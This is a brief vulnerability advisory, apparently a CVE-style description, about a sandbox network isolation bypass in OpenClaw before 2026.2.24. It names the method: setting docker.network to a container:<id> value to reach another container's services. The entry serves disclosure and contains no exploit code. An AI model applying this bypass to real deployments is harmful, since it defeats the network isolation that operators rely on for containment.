Description

OpenClaw before 2026.2.24 contains a sandbox network isolation bypass vulnerability that allows trusted operators to join another container's network namespace. Attackers can configure the docker.network parameter with container:<id> values to reach services in target container namespaces and bypass network hardening controls.
